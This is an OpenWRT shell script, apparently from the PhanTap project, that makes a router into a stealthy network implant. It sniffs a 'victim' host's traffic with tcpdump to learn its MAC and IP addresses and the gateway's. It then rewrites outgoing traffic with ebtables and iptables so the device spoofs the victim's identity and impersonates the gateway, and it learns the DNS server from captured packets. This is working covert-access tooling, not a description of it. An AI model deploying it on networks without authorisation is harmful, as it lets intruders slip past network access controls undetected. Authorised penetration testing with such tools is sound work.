#!/bin/sh

. /lib/functions.sh
. /lib/functions/network.sh

INTF=phantap
network_get_device BRIDGE $INTF
[ -z "$BRIDGE" ] && { echo "Bridge not ready"; exit; }

while true; do
    # uses tcpdump to grab IPV4 unicast traffic with dest IP non rfc 1918
    # this assumes that:
    # - the victim is using rfc 1918 ip (not ipv6 / not public ip / ...)
    # we use "ether proto 0x0800" instead of "ip" so we are sure there is no vlan
    echo "Listening to traffic ..."
    packet=$(tcpdump -i $BRIDGE -nn -e -c 1 -Q in -q 'ether proto 0x0800 and not broadcast and not multicast and not (dst net (10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16 or 255.255.255.255/32 or 224.0.0.0/4))')
    # packet="09:42:42.424242 00:11:22:33:44:55 > 66:77:88:99:aa:bb, IPv4, length 66: 10.1.2.3.55334 > 1.2.3.4.443: tcp 0"
    # packet="09:42:42.424242 00:11:22:33:44:55 > 66:77:88:99:aa:bb, IPv4, length 98: 10.1.2.3 > 1.2.3.4: ICMP echo request, id 2940, seq 10, length 64"
    addresses=$(echo $packet | sed -E 's/^[^ ]+ ([0-9a-f:]{17}) > ([0-9a-f:]{17})[^:]+: (\d+\.\d+\.\d+\.\d+)\.?\d* > (\d+\.\d+\.\d+\.\d+)\.?\d*:.*/mysedworked \1 \2 \3 \4/')
    # addresses="mysedworked 00:11:22:33:44:55 66:77:88:99:aa:bb 10.1.2.3 1.2.3.4"
    set -- $addresses
    if [ "$1" != "mysedworked" ]; then
        echo "Unable to parse captured packet \"$packet\", retrying"
        sleep 1
        continue
    fi
    victim_mac=$2
    gw_mac=$3
    victim_ip=$4
    echo "We got a winner! victim_mac=$2, gw_mac=$3, victim_ip=$4"
    break
done

br_mac=$(cat /sys/class/net/$BRIDGE/address)
network_get_ipaddr br_ip $INTF
network_get_gateway gw_fakeip $INTF true

config_firewall() {

# Integrate with OpenWRT firewall
cat > /tmp/phantap.firewall.$$ <<EOF
# block local output on br-phantap
ebtables -t filter -A phantap-drop -j DROP

ebtables -t nat -N phantap-snat -P RETURN 2>/dev/null \
&& ebtables -t nat -I POSTROUTING -j phantap-snat
iptables -t nat -N phantap-snat 2>/dev/null
iptables -t nat -C POSTROUTING -o br-phantap -j phantap-snat \
|| iptables -t nat -I POSTROUTING -o br-phantap -j phantap-snat

# Cleanup old rules if exist
ebtables -t nat -F phantap-snat
iptables -t nat -F phantap-snat
$(if [ -n "${gw_ip}" ]; then
cat <<EOS
# We have detected the gateway ip, impersonate the gateway when talking to the victim
ebtables -t nat -A phantap-snat -s $br_mac -d $victim_mac --logical-out $BRIDGE -j snat --to-source $gw_mac
iptables -t nat -A phantap-snat -s $br_ip -d $victim_ip -j SNAT --to-source $gw_ip
EOS
else
cat <<EOS
# We have not detected the gateway ip, drop all traffic from phantap to the victim
ebtables -t nat -A phantap-snat -s $br_mac -d $victim_mac --logical-out $BRIDGE -j DROP
EOS
fi
)
# Replace our local mac with the victim mac
ebtables -t nat -A phantap-snat -s $br_mac --logical-out $BRIDGE -j snat --to-source $victim_mac
# Replace our local ip with the victim ip
iptables -t nat -A phantap-snat -s $br_ip -j SNAT --to-source $victim_ip

# Add mac for the fake gateway
ip neigh replace $gw_fakeip lladdr $gw_mac dev $BRIDGE

# allow local output on br-phantap again, we now have internet access
ebtables -t filter -F phantap-drop

echo "PhanTap firewall rules reloaded, you now have internet"
EOF
mv /tmp/phantap.firewall.$$ /tmp/phantap.firewall

ebtables -t filter -A phantap-drop -j DROP
/etc/init.d/firewall reload

}

config_firewall

handle_onconfig() {
    /bin/sh -c "$1" || echo "'$1' failed"
}

config_load phantap
# Run all commands in onnetconfig list
config_list_foreach main onnetconfig handle_onconfig

while true; do
    # uses tcpdump to grab dns traffic
    echo "Listening to traffic for dns config ..."
    packet=$(tcpdump -i $BRIDGE -nn -e -c 1 -Q in -q 'ether proto 0x0800 and src port 53')
    # packet="23:37:55.861667 66:77:88:99:aa:bb > 00:11:22:33:44, IPv4, length 98: 8.8.8.8.53 > 10.1.2.3.59101: UDP, length 56"
    dns=$(echo $packet | sed -E 's/^[^ ]+ [0-9a-f:]{17} > [0-9a-f:]{17}.*+: (\d+\.\d+\.\d+\.\d+)\.\d+ > .*/mysedworked \1 \2/')
    # dns="mysedworked 8.8.8.8"
    set -- $dns
    if [ "$1" != "mysedworked" ]; then
        echo "Unable to parse captured packet \"$packet\", retrying"
        sleep 1
        continue
    fi
    dns_ip=$2
    echo "We got a dns server! dns_ip=$2"
    break
done

echo "nameserver $dns_ip" > /tmp/resolv.conf.auto
/etc/init.d/dnsmasq reload

# Run all commands in ondnsconfig list
config_list_foreach main ondnsconfig handle_onconfig

echo "setup done, you now have access to internet"

while true; do
    gw_ip=$(ip neigh show | grep $gw_mac | grep -v 169.254.66.101 | sed -E 's/^(\d+\.\d+\.\d+\.\d+) dev .*/mysedworked \1 \2/')
    # ip neigh show =="10.1.2.1 dev br-phantap lladdr 66:77:88:99:aa:bb PERMANENT"
    if [ -z "$gw_ip" ]; then
        sleep 1
        continue
    fi
    # gw_ip="mysedworked 10.1.2.1"
    set -- $gw_ip
    if [ "$1" != "mysedworked" ]; then
        echo "Unable to parse neighbor information \"$gw_ip\", retrying"
        sleep 1
        continue
    fi
    gw_ip=$2
    echo "We got the gateway IP! gw_ip=$gw_ip"
    break
done

config_firewall

